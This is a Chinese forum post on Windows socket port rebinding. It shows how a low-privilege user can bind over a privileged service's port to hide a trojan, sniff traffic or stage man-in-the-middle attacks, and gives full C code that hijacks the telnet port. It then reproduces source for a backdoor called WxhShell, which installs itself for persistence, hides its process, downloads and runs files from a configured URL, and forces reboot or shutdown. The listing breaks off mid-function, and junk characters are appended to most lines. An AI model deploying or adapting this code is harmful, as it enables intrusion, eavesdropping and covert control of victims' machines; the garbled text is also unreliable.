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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: RGV{KL  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [9?]|4  
@lB1t= D  
  saddr.sin_family = AF_INET; Nt+UL/1]  
R7Tl 1!,h  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); fo}@B &=4  
JBQ>"X^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5YZ\@<|rH  
j+< !4 0#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 w;VUP@Wm  
m";8 nm  
  这意味着什么?意味着可以进行如下的攻击: ~l+~MB  
0T3r#zQ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 qyyLU@hd  
,_,7c or  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) z"5e3w  
\i~5H]?d  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 K~L"A]+  
@TKQ_7BcB  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7({.kD6  
=L$RY2S"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^<yM0'0t  
XSZjuQ<[3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :\#]uDT2=  
VyU!r* o  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 r'}#usB(  
\@2sI  
  #include .hvn/5s  
  #include /9y'UKl7[  
  #include !x:w2  
  #include    RAyR&p  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Y!E| X 3  
  int main() 1?+)T%"  
  { x^F2Ywp%  
  WORD wVersionRequested; '.&,.E&{$  
  DWORD ret; y(#F&^|  
  WSADATA wsaData; hYCyc -W  
  BOOL val; GLl@ 6S>v  
  SOCKADDR_IN saddr; ZG)C#I1;O  
  SOCKADDR_IN scaddr; Jf2:[ Mq  
  int err; \No22Je6d  
  SOCKET s; a7NX~9 g  
  SOCKET sc; K3UG6S\B  
  int caddsize; 6a`_i  
  HANDLE mt; kLY9#p=X  
  DWORD tid;   [/t/694  
  wVersionRequested = MAKEWORD( 2, 2 ); !as<UH"\  
  err = WSAStartup( wVersionRequested, &wsaData ); sEfGf.  
  if ( err != 0 ) { xcIZ'V  
  printf("error!WSAStartup failed!\n"); ^?[^o\/@R  
  return -1; Z42v@?R.!W  
  } EZiGi[t7  
  saddr.sin_family = AF_INET; &4MVk3SLx#  
   : [vp.vw}/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;lWy?53=@  
[dL?N  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1[`l`Truz  
  saddr.sin_port = htons(23); nBiA=+'v  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) eEe8T=mD  
  { ]i]sgg[  
  printf("error!socket failed!\n"); [76mgj!K  
  return -1; f{Y|FjPp=E  
  } m9>nv rQ  
  val = TRUE; *t|j+*c}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !r!Mq~X<=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7!N5uR  
  { CM's6qhQnn  
  printf("error!setsockopt failed!\n"); )@`w^\E_~_  
  return -1; Q+ST8  
  } tT#Q`cB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \ZDT=?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 yM D* >8/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .y[K =p3  
$l[*Y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1@qb.9wZ6  
  { 7iJk0L$]x  
  ret=GetLastError(); E 0pF; P5  
  printf("error!bind failed!\n"); ;%z0iZmg  
  return -1; 0Rk'sEX,  
  } 5BCaE)J  
  listen(s,2); 'Jl.fN  
  while(1) ~ pdf'  
  { mg,f>(  
  caddsize = sizeof(scaddr); @x J^JcE  
  //接受连接请求 !V-SV`+X  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &Y=NUDt_  
  if(sc!=INVALID_SOCKET) fR[!=-6^f  
  { ujWHO$uz!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S@"=,Xj M  
  if(mt==NULL) et ~gO!1:*  
  { ta6 WZu  
  printf("Thread Creat Failed!\n"); z=Vvb  
  break; w./EJk KI  
  } &% r#eB?7  
  } 22r01qH  
  CloseHandle(mt); FfgJ 2y  
  } a!^wc,  
  closesocket(s); xNqQbk F  
  WSACleanup(); Z "=(u wM  
  return 0; O.}gG6u5  
  }   7ER 2 h*  
  DWORD WINAPI ClientThread(LPVOID lpParam) f}'gg  
  { ^{K8uN7  
  SOCKET ss = (SOCKET)lpParam; qL+y8*  
  SOCKET sc; d=KOV;~);  
  unsigned char buf[4096]; *nW9)T  
  SOCKADDR_IN saddr; cnPX vD^kY  
  long num; (MIw$)#^  
  DWORD val; xR&,QrjQG  
  DWORD ret; 5)o IPHXw  
  //如果是隐藏端口应用的话,可以在此处加一些判断 B:r-')!0$#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "=n8PNV/ c  
  saddr.sin_family = AF_INET; =U2Te  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .}<B*e=y  
  saddr.sin_port = htons(23); 9iy|=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jr l6):x  
  { E\*",MGL  
  printf("error!socket failed!\n"); +e:ZN tr9  
  return -1; 2!3&Ub#FO  
  } jgo@~,5R  
  val = 100; #rr-4$w+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l9ihW^  
  { @ty|HXW  
  ret = GetLastError(); Z =c@Gd  
  return -1; EDQJ>c  
  } r"[T9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @Kr)$F  
  { D)sEAfvX  
  ret = GetLastError(); `s_TY%&_}g  
  return -1; QMxz@HGa|  
  } a*[\edcHU  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) uRy6~'  
  { |)-:w?  
  printf("error!socket connect failed!\n"); ?mAw"Rb!  
  closesocket(sc); LI<5;oE;  
  closesocket(ss); ;MJ1Q  
  return -1; JAz;_wS(k  
  } m8PB2h  
  while(1) Zn0fgQd  
  { MX0B$yc$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 r*wKYb  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Mv=cLG?X  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 k9xKaJ %1  
  num = recv(ss,buf,4096,0); cj<@~[uw  
  if(num>0) gAY2|/,  
  send(sc,buf,num,0); KxwLKaImI  
  else if(num==0) !gf3%!%  
  break; UVJ(iNK"  
  num = recv(sc,buf,4096,0); urB3  
  if(num>0) [alXD_  
  send(ss,buf,num,0); 0cUt"(]  
  else if(num==0) 5Z,lWp2A  
  break; /,UkT*+>!  
  } ~`E4E  
  closesocket(ss); B^?XE(.  
  closesocket(sc); #+PbcL  
  return 0 ; o {LFXNcg[  
  } `C?OAR44  
1W[(+TZ&s  
Q9>]@DrAx  
========================================================== 3@?YTez#  
~Wm}M  
下边附上一个代码,,WXhSHELL 5,ahKB8  
$SVGpEw  
========================================================== )+,jal^7  
" G6j UTt  
#include "stdafx.h" 8w[EyVHA  
@EZONKT  
#include <stdio.h> l5ds`uR#  
#include <string.h> }z+"3A|  
#include <windows.h> W@dY:N}  
#include <winsock2.h> UJ$:5*S=u  
#include <winsvc.h> T6roz  
#include <urlmon.h> ,P@-DDJ  
*$C[![   
#pragma comment (lib, "Ws2_32.lib") 5z ^UQ q  
#pragma comment (lib, "urlmon.lib") 9%14k  
~{G: ,|`  
#define MAX_USER   100 // 最大客户端连接数 F5MPy[  
#define BUF_SOCK   200 // sock buffer 9lJj/  
#define KEY_BUFF   255 // 输入 buffer [B @j@&  
u g"<\"  
#define REBOOT     0   // 重启 H;|:r[d!  
#define SHUTDOWN   1   // 关机 6ya87H'e@  
<@2# VG  
#define DEF_PORT   5000 // 监听端口 _ng =5  
c|( ?  
#define REG_LEN     16   // 注册表键长度 ~9{;V KgK  
#define SVC_LEN     80   // NT服务名长度 >1G*ya)  
{taVAcb  
// 从dll定义API 8G] m7Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h)^A3;2F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eI rmD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yWi0 tE{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :qTcxzV  
S!W/K!wf  
// wxhshell配置信息 X\2hKUkT  
struct WSCFG { bXwoJ2  
  int ws_port;         // 监听端口 .r5oN+?e  
  char ws_passstr[REG_LEN]; // 口令 .4FcZJvy  
  int ws_autoins;       // 安装标记, 1=yes 0=no xevP2pYG:  
  char ws_regname[REG_LEN]; // 注册表键名 n(YHk\2  
  char ws_svcname[REG_LEN]; // 服务名 lV6[d8P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0uO=wOIhH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 WAXts]=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m<"fRT!Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RLOQ>vYY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yUmsE-W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?VP!1O=J  
/ &D$kxz  
}; g^$11  
33'lZ ubV  
// default Wxhshell configuration ]j2v"n  
struct WSCFG wscfg={DEF_PORT, Pph8"`mv.m  
    "xuhuanlingzhe", t`YZ)>Ws  
    1, TTZxkK  
    "Wxhshell", F*JvpI[7n  
    "Wxhshell", (2bZ]  
            "WxhShell Service", x>,F*3d3  
    "Wrsky Windows CmdShell Service", ]'!xc9KGR  
    "Please Input Your Password: ", 83ic@[  
  1, S50x0$%<W  
  "http://www.wrsky.com/wxhshell.exe", I cR;A\z  
  "Wxhshell.exe" h` h>H X  
    }; uV}WSoq[  
0O,T=z[+>  
// 消息定义模块 oA;Ty7s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^h6$> n5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1~5q:X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H4'DL'83  
char *msg_ws_ext="\n\rExit."; ''OInfd?  
char *msg_ws_end="\n\rQuit."; -N8cjr4l  
char *msg_ws_boot="\n\rReboot..."; O< tnM<"(  
char *msg_ws_poff="\n\rShutdown..."; }i7U}T  
char *msg_ws_down="\n\rSave to "; Gk"L%Zt)  
Ryba[Fz4Di  
char *msg_ws_err="\n\rErr!"; 3 E!<p  
char *msg_ws_ok="\n\rOK!"; "R2t&X[9  
DxKfWb5 R  
char ExeFile[MAX_PATH]; .d~]e2x  
int nUser = 0; V l~Y  
HANDLE handles[MAX_USER]; xPDA475Cw3  
int OsIsNt; F\=Rm  
Vx6? @R  
SERVICE_STATUS       serviceStatus; fH e0W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FL#g9U>  
(ND5CKCR^  
// 函数声明 ocl47)  
int Install(void); yI.}3y{^5  
int Uninstall(void); {#1j"  
int DownloadFile(char *sURL, SOCKET wsh); 2'<=H76  
int Boot(int flag); De nt?  
void HideProc(void); @9uYmkcV  
int GetOsVer(void); g7 Md  
int Wxhshell(SOCKET wsl); -e{)v'C)  
void TalkWithClient(void *cs); oa &z/`@  
int CmdShell(SOCKET sock); ^\[LrPq e  
int StartFromService(void); 12tJrS*Z  
int StartWxhshell(LPSTR lpCmdLine); nRXSW&V"m  
kUg+I_j6*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D,dHP-v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +-aU+7tu  
\7t5U7v8U  
// 数据结构和表定义 833 %H`jQc  
SERVICE_TABLE_ENTRY DispatchTable[] = uojh%@.4  
{ wAu[pWD'6;  
{wscfg.ws_svcname, NTServiceMain}, xv$)u<Ve  
{NULL, NULL} JXL9Gge  
}; Ac[|MBaF  
S"P9Nf?9  
// 自我安装 I>H;o{X#  
int Install(void) %|*nmIPq(  
{ ?{"XrQw  
  char svExeFile[MAX_PATH]; VqD[G<|9T  
  HKEY key; P^8^1-b  
  strcpy(svExeFile,ExeFile); Z\|u9DO  
h eE'S/  
// 如果是win9x系统,修改注册表设为自启动 WjY{rM,K  
if(!OsIsNt) { [Y22Wi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jB%"AvIX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $AA~]'O>6:  
  RegCloseKey(key); my\o P(e\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ` y^zM/Ib  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _oJ2]f6KX  
  RegCloseKey(key); Dh&:-  
  return 0; 5@ bc(H  
    } c{mKra  
  } JFG",09]  
} qukjS#>+  
else { &0+x2e)7g  
,pyQP^u-  
// 如果是NT以上系统,安装为系统服务 QGH h;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -yC:?  
if (schSCManager!=0) |oe!P}u  
{ ?{ B[^  
  SC_HANDLE schService = CreateService TsaW5ho<p  
  ( -XBKOybHBO  
  schSCManager, |;A9A's  
  wscfg.ws_svcname, DO&+=o`"  
  wscfg.ws_svcdisp, Hs"% S  
  SERVICE_ALL_ACCESS, NqJ<!q)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W!/vm  
  SERVICE_AUTO_START, L289'Gzg  
  SERVICE_ERROR_NORMAL, U@.u-)oX  
  svExeFile, /7k.r}6\R  
  NULL, zBk_-'z  
  NULL, Kajkw>z  
  NULL, y)3~]h\a  
  NULL, 4? m/*VV  
  NULL 5-8]N>/b!  
  ); `*e4m  
  if (schService!=0) L!;^ #g  
  { 6P;o 6s  
  CloseServiceHandle(schService); -6rf( ER  
  CloseServiceHandle(schSCManager); xClRO,-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); eM?rc55|  
  strcat(svExeFile,wscfg.ws_svcname); t a&Q4v&-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N9i}p^F<_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5%<TF .;-J  
  RegCloseKey(key); 7$(_j<o`  
  return 0; 'FShNY5  
    } t|;%DA)fjw  
  } XVQL.A7  
  CloseServiceHandle(schSCManager); ?^LG hdR  
} YF}9k  
} b/}'Vf[  
a(8>n Z,V  
return 1; $brKl8P  
} ;#3ekl{-g  
\s=QiPK  
// 自我卸载 IWAj Mwo  
int Uninstall(void) X_D6eYF  
{ f;.SSiT  
  HKEY key; zzX<?6MS  
\Y*!f|=of  
if(!OsIsNt) { 3YR* ^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6#<Ir @z  
  RegDeleteValue(key,wscfg.ws_regname); ]{YN{  
  RegCloseKey(key); ! L4dUMo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Dba+z-3Nzy  
  RegDeleteValue(key,wscfg.ws_regname); B-!guf rnY  
  RegCloseKey(key); 8NnhT E  
  return 0; z>6.[Z(T  
  } xM&EL>m>L  
} 1'NhjL  
} y:Z$LmPc<  
else { z{%oJ_  
\WWG>OUh.U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z4CJn[m9  
if (schSCManager!=0) BSN6|W  
{ aT&t_^[]   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 49o\^<4b  
  if (schService!=0) _zdNLwE[  
  { S#,+Z7  
  if(DeleteService(schService)!=0) { F y b[{"  
  CloseServiceHandle(schService); xXOR IlD  
  CloseServiceHandle(schSCManager); ZQ|5W6c  
  return 0; <BSSa`N`  
  } aZ$/<|y~:_  
  CloseServiceHandle(schService); FIH@2zA  
  } WPIZi[hBs  
  CloseServiceHandle(schSCManager); &9RH}zv6  
} Q\H_t)-  
} v' C@jsx M  
+a-D#^ 2;  
return 1; 8`}l\ Y  
} $Jcq7E~  
yKYl@&H/%  
// 从指定url下载文件 L/~D<V  
int DownloadFile(char *sURL, SOCKET wsh) 6_WmCtvF  
{ mxgqS=`  
  HRESULT hr; jDkm:X}:  
char seps[]= "/"; {t&*>ma6)  
char *token; d [r-k 2  
char *file; J<rlz5':  
char myURL[MAX_PATH]; :i.t)ES  
char myFILE[MAX_PATH];  m;c3Z-  
Wj&nUp{  
strcpy(myURL,sURL); $|k%@Q>  
  token=strtok(myURL,seps); l_6eI  
  while(token!=NULL) z?)He)d  
  { ^CUSlnB\(  
    file=token; )#a7'Ba  
  token=strtok(NULL,seps); WVOoHH  
  } P7Xg{L&@.  
>Co)2d]  
GetCurrentDirectory(MAX_PATH,myFILE); " CM ucK  
strcat(myFILE, "\\"); c+8V|'4  
strcat(myFILE, file); _C20 +PMO  
  send(wsh,myFILE,strlen(myFILE),0); syR N4  
send(wsh,"...",3,0); iA9 E^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nWk e#{[  
  if(hr==S_OK) ;`+`#h3-V  
return 0; m^Glc?g<  
else Ls1B \Aw_  
return 1; _B3zRO  
TKo<~?  
} #ra*f~G  
+Juh:1H  
// 系统电源模块 6|5H=*)DH  
int Boot(int flag) `^x9(i/NE  
{ H'Nq#K  
  HANDLE hToken; UA0F):  
  TOKEN_PRIVILEGES tkp; a fx'  
4@h;5   
  if(OsIsNt) { Kk=LXmL2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?_%u)S*g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ya.n'X14  
    tkp.PrivilegeCount = 1; xz8G}Ku  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FIS "Z(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6T_K9  
if(flag==REBOOT) { 6Cv.5V hx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IB8gDP2  
  return 0; gqfDa cDJL  
} 6J\fF tB@V  
else { >La><.z~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q(Hip<6p  
  return 0; O[FZq47  
} >I^9:Q  
  } <: :VCA%  
  else { $Asr`Q1i   
if(flag==REBOOT) { g5Hr7K m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /OG zt  
  return 0; R&*@@F-dx  
} {n&Uf{  
else { k3>YBf`fC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W:vr@e6  
  return 0; FY4T(4#  
} y^R4I_* z  
} ezUQ> e  
RYy,wVh}  
return 1; pawl|Z'Ez  
} aCl A{  
JYJU&u  
// win9x进程隐藏模块 wXbsS)#/  
void HideProc(void) ugLlI2 nJ  
{  Gq1)1  
r[pF^y0   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Da_()e[9p  
  if ( hKernel != NULL ) A[)C:q,  
  { %j5ywr:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  to>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -ihiG_f  
    FreeLibrary(hKernel); 0%#\w*X8  
  } G\kpUdj}  
4MLH+/e  
return; Oaa"T8t  
} (%'9CfPx  
.Y\EE;8%  
// 获取操作系统版本 ?aWx(dVQ  
int GetOsVer(void) :o8MUXH$  
{ '!Wvqs  
  OSVERSIONINFO winfo; pO]8 dE0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j_GBH8 `  
  GetVersionEx(&winfo); >;9NtoE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IZrk1fh  
  return 1; t,<UohL|z  
  else i\Wdo/c-H  
  return 0; -c+]Wm"\  
} i=#F)AD^5#  
jatr/  
// 客户端句柄模块 +TSSi em  
int Wxhshell(SOCKET wsl) WU)Ss`s \  
{ gKi{Y1  
  SOCKET wsh; HID([Wk  
  struct sockaddr_in client; NBOCt)C;H  
  DWORD myID; r4Q|5kT*i  
zK;XF N#U^  
  while(nUser<MAX_USER) e;(  
{ }r3~rG<D71  
  int nSize=sizeof(client); U>Gg0`>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b1-&v|L  
  if(wsh==INVALID_SOCKET) return 1; v&;:^jJ8  
D*2\{W/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Gu;OV LR|  
if(handles[nUser]==0) bRsTBp;R`I  
  closesocket(wsh); tj5giQ3DG)  
else z7T0u.4Ss  
  nUser++; tC)6  
  } 6N" l{!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~x]9SXD%  
Dl,`\b@Fw3  
  return 0; 2*1ft>Uty  
} RN9;kB)c  
RUo9eQIPD  
// 关闭 socket -LWK*q[J;*  
void CloseIt(SOCKET wsh) +B"0{>n}F  
{ Gquuy7[&  
closesocket(wsh); $NG++N  
nUser--; Mvcfk$pA  
ExitThread(0); ar ^i|`D  
} Or+p%K}-7  
:YO@_  
// 客户端请求句柄 sWqM?2g  
void TalkWithClient(void *cs) cUk*C  
{ >*1}1~uU`'  
qTmD '2  
  SOCKET wsh=(SOCKET)cs; ,hRN\Kt)p  
  char pwd[SVC_LEN]; $>q@SJ1q  
  char cmd[KEY_BUFF]; !#N\ b  
char chr[1]; c0rk<V%5+  
int i,j; m9":{JI.w  
Im?LIgt$  
  while (nUser < MAX_USER) { 'EhBRU%  
7~UR!T9  
if(wscfg.ws_passstr) { 'i|rj W(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eV};9VJ$F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .*5Z"Q['G  
  //ZeroMemory(pwd,KEY_BUFF); >)**khuP7  
      i=0; `dW]4>`O  
  while(i<SVC_LEN) { w0J|u'H  
\".^K5Pm  
  // 设置超时 E>uVofhml  
  fd_set FdRead; 'Jj=RAV`  
  struct timeval TimeOut; 57I}RMT"  
  FD_ZERO(&FdRead); 8P: spD0  
  FD_SET(wsh,&FdRead); F- rQ3  
  TimeOut.tv_sec=8; Ak BMwV  
  TimeOut.tv_usec=0; Ng=ONh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @g-Tk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MMQ;mw=^]  
v~)LO2y   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %,q. ),F  
  pwd=chr[0]; anN#5jt  
  if(chr[0]==0xd || chr[0]==0xa) { /X*oS&-M  
  pwd=0; 0C$vS`s&  
  break; 27Emm c  
  } ccJM>9  
  i++; [\e@_vY@OH  
    } EbQa?  
z\!K<d"Xv  
  // 如果是非法用户,关闭 socket X[3}?,aqL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ip *g'  
} wdas1  
c j$6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }}{Yw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H=^K@Ti:  
<V&5P3)d9  
while(1) { 'MxSd(T =  
F"jt&9jg  
  ZeroMemory(cmd,KEY_BUFF); K|r Lkl9  
L ^`}J7r  
      // 自动支持客户端 telnet标准   |oFAGP1  
  j=0; 2N [=  
  while(j<KEY_BUFF) { CI7A# 6-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aaW]J mRb  
  cmd[j]=chr[0]; ~$,qgf  
  if(chr[0]==0xa || chr[0]==0xd) { ;0%OB*lcgE  
  cmd[j]=0; @%ECj)u`O  
  break; 83Ou9E!W  
  } zGo|JF  
  j++; K\?]$dK5  
    } DBH#)4do@  
&#{dWObh  
  // 下载文件 r6.d s^  
  if(strstr(cmd,"http://")) { ~/#1G.H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vGd1w%J-  
  if(DownloadFile(cmd,wsh)) &, a3@i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fke//- R  
  else o>]`ac0b}Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dY!Z  
  } V9%aBkf8w  
  else { ?&+9WJ<M  
:!TI K1  
    switch(cmd[0]) { FY3IUG  
  qSU| =  
  // 帮助 2umv|]n+l|  
  case '?': { #1nJ(-D+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6p;m\  
    break; }j {!-&  
  } pox, Im  
  // 安装 t#E}NR  
  case 'i': { eVh - _  
    if(Install()) Sus;(3EX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bZwnaM4"F  
    else ~l E _L1-c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b{7E;KyY,  
    break; IVxWxM*N<  
    } V|D] M{O  
  // 卸载 X@A1#z+s0]  
  case 'r': { %eWqQ3{P]  
    if(Uninstall()) }Fb!?['G5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kL*0M<0 (  
    else qdD)e$XW,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N@T.T=r  
    break; ed!>)Cb  
    } vIGw6BJI  
  // 显示 wxhshell 所在路径 T]9\VW4  
  case 'p': { es:2M |#O  
    char svExeFile[MAX_PATH]; 6QQfQ,  
    strcpy(svExeFile,"\n\r"); qCQ./"8  
      strcat(svExeFile,ExeFile); 15\Ph[6g  
        send(wsh,svExeFile,strlen(svExeFile),0); uZjC c M  
    break; c,\i"=!$  
    } ^eq</5q D  
  // 重启 3,X/,'  
  case 'b': { i'/m4 !>h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2h=%K/hhY  
    if(Boot(REBOOT)) HfNDD| Zz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `TLzVB-j3  
    else { {tP%epQ  
    closesocket(wsh); +K",^6%1  
    ExitThread(0); / +K?  
    } WN]<q`.  
    break; ' I}: !Z  
    } J4$! 68  
  // 关机 .^(/n9|o-  
  case 'd': { YPDf Y<?v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v6(E3)J7  
    if(Boot(SHUTDOWN)) 256LHY|6  
